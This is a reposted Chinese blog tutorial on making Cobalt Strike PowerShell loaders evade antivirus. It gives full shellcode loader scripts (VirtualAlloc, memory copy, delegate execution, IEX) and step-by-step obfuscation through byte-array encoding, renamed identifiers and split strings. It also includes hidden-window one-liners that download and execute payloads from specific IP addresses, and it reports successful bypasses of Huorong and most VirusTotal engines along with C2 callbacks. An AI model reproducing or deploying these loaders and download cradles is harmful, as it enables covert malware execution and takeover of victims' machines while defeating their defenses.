powershell免殺


最近在學習powershell免殺這塊,本篇文章也是跟着大佬的思路來做的

0x01 powershell腳本生成

通過cs生成一個powershell腳本(我沒勾選x64位)

 

 1 Set-StrictMode -Version 2
 2 
 3 $DoIt = @'  4 function func_get_proc_address {  5     Param ($var_module, $var_procedure)  6     $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  7     $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))  8     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))  9 } 10 
11 function func_get_delegate_type { 12     Param ( 13         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, 14         [Parameter(Position = 1)] [Type] $var_return_type = [Void] 15  ) 16 
17     $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 18     $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') 19     $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') 20 
21     return $var_type_builder.CreateType() 22 } 23 
24 [Byte[]]$var_code = [System.Convert]::FromBase64String('此處為shellcode,太長就不復制出來了') 25 for ($x = 0; $x -lt $var_code.Count; $x++) { 26     $var_code[$x] = $var_code[$x] -bxor 35
27 } 28 
29 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) 30 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) 31 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) 32 
33 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) 34 $var_runme.Invoke([IntPtr]::Zero) 35 '@
36 
37 If ([IntPtr]::size -eq 8) { 38     start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job 39 } 40 else { 41     IEX $DoIt
42 }

直接運行生成的powershell腳本,會直接被殺軟殺掉(如火絨)

 

 

0x02 powershell免殺

現在把FromBase64String改成FromBase65String,那就解決掉FromBase64String,直接改成byte數組。

$string = '' $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】') $s |foreach { $string = $string + $_.ToString()+','}

 

 

把變量輸出到文件中

$string > D:\1.txt

 

然后替換腳本中的內容

 1 Set-StrictMode -Version 2
 2 
 3 $DoIt = @'  4 function func_get_proc_address {  5     Param ($var_module, $var_procedure)  6     $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  7     $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))  8     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))  9 } 10 
11 function func_get_delegate_type { 12     Param ( 13         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, 14         [Parameter(Position = 1)] [Type] $var_return_type = [Void] 15  ) 16 
17     $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 18     $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') 19     $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') 20 
21     return $var_type_builder.CreateType() 22 } 23 
24 [Byte[]]$var_code = [Byte[]](這里放剛剛轉碼后的FromBase65String) 25 
26 for ($x = 0; $x -lt $var_code.Count; $x++) { 27     $var_code[$x] = $var_code[$x] -bxor 35
28 } 29 
30 $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) 31 $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) 32 [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) 33 
34 $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) 35 $var_runme.Invoke([IntPtr]::Zero) 36 '@
37 
38 If ([IntPtr]::size -eq 8) { 39     start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job 40 } 41 else { 42     IEX $DoIt
43 }

ps:注意括號里不要加引號

 

 

 

 

然后運行腳本,繞過了火絨,cs成功上線

 

接下來在VT上查殺看看效果 https://www.virustotal.com

 

 

 

效果還不太行,繼續改關鍵字

大概就是把[Byte[]]$var_code那一行上下的函數名和變量前綴var_ 改成別的 還有最后的IEX改了一下

 

 

改之后的

c.ps1代碼

 1 Set-StrictMode -Version 2
 2 
 3 $DoIt = @'  4 function func_a {  5     Param ($a_module, $a_procedure)  6     $a_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')  7     $a_gpa = $a_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))  8     return $a_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($a_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($a_module)))), $a_procedure))  9 } 10 
11 function func_b { 12     Param ( 13         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $a_parameters, 14         [Parameter(Position = 1)] [Type] $a_return_type = [Void] 15  ) 16 
17     $a_type_bb = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBbAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 18     $a_type_bb.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $a_parameters).SetImplementationFlags('Runtime, Managed') 19     $a_type_bb.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $a_return_type, $a_parameters).SetImplementationFlags('Runtime, Managed') 20 
21     return $a_type_bb.CreateType() 22 } 23 
24 [Byte[]]$a_code = [Byte[]](這里放剛剛轉碼后的FromBase65String) 25 
26 for ($x = 0; $x -lt $a_code.Count; $x++) { 27     $a_code[$x] = $a_code[$x] -bxor 35
28 } 29 
30 $a_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_a kernel32.dll VirtualAlloc), (func_b @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) 31 $a_buffer = $a_va.Invoke([IntPtr]::Zero, $a_code.Length, 0x3000, 0x40) 32 [System.Runtime.InteropServices.Marshal]::Copy($a_code, 0, $a_buffer, $a_code.length) 33 
34 $a_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($a_buffer, (func_b @([IntPtr]) ([Void]))) 35 $a_runme.Invoke([IntPtr]::Zero) 36 '@
37 
38 If ([IntPtr]::size -eq 8) { 39     start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job 40 } 41 else { 42     ie`x $DoIt
43 }

運行c.ps1腳本,成功過火絨,且cs上線

 

 

 

放在VT上測試一番

還是有倆av沒繞過,但是已經能過絕大多數殺軟

 

0x03 生成無落地powershell免殺

思路:就是cs生成txt-shellcode代碼,放到服務器web目錄,然后目標執行powershell命令請求下載並執行。對於內容就是換一種編碼來混淆,同時可以將編碼部分分成幾個部分然后再拼接,對於關鍵命令,可以使用Replace替換的方法。對於訪問shellcode文件並執行的命令,可以采用混淆分割合並和Replace替換的方法繞過。

1.先生成無落地執行powershell文件

 

 

2.訪問http://xxx.xx.xxx.xx:9997/a這個連接看看文件內容,並保存下來

 

 

直接執行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://60.238.86.238:9997/a'))"

 

會被殺軟干掉

 

 

通過分析可以看到代碼實際組成是:

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("shellcode代碼"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

 

3.直接把FromBase64String改成FromBase65String。

$string = '' $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】') $s |foreach { $string = $string + $_.ToString()+','} $string > D:\2.txt  

 

 

 

4.將生成的編碼分成兩塊或者多塊再組合

[Byte[]]$var_c1 = [Byte[]](分段1) [Byte[]]$var_c2 = [Byte[]](分段2) $var_code=$var_c1+$var_c2

$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

通過vt查殺效果不錯

 

 

5.另存到服務器的其他txt文件中並訪問執行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://52.214.56.238:8001/a.txt'))"

cs成功上線

 

 

6.混淆命令關鍵詞並執行

[Byte[]]$var_c1 = [Byte[]](分段1) [Byte[]]$var_c2 = [Byte[]](分段2) $var_code=$var_c1+$var_c2

$s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)

放到VT上測試,仍然有個av過不去(太菜了,就先這樣吧)

 

 

 

cs也成功上線

ps:確實實現免殺了,不過呢實際執行的時候火絨,360,騰訊跟defender還是會攔截,通過混淆執行語句可以繞過試試

7.遠程執行powershell命令免殺方法

注意:免殺要不斷嘗試,一次混淆不行就多混淆幾次,加上替換關鍵字

 

遠程執行腳本時代碼混淆,是因為有時候直接執行cs生成的語句殺軟會攔截/

原始語句:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.232.213.20:8001/e.txt'))"

混淆可以使用Replace替代代碼關鍵詞部分字母,加上通過拆分后再組合的方法

例如:

powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://0.0.0.0:4545/text.txt'')'.Replace('123','adString');IEX ($c1+$c2)"

或者:

powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.56.138:8001/d.txt'')'.Replace('aaa','p://62.234');IEX ($c1+$c2)"

測試后發現以上兩種方法都不行,但可以參考關鍵字免殺

 

powershell.exe "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://52.214.56.238:8001/e.txt''))';$a3="$a1,$a2";IEX(-join $a3)"

 

或者

powershell.exe -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://62.234.56.138:8001/d.txt'')'.Replace('123','adString');IEX ($c1+$c2)"

成功繞過

 

還有powershell語言的特性來混淆代碼

常規方法:

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green" cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -" cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"

管道輸入流:

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

利用環境變量:

cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd" cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell - cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process')) cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)

從其他進程獲取參數:

cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"

參考:

文章來源

Y4er

根據powershell語言的特性來混淆代碼的方法與原理

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM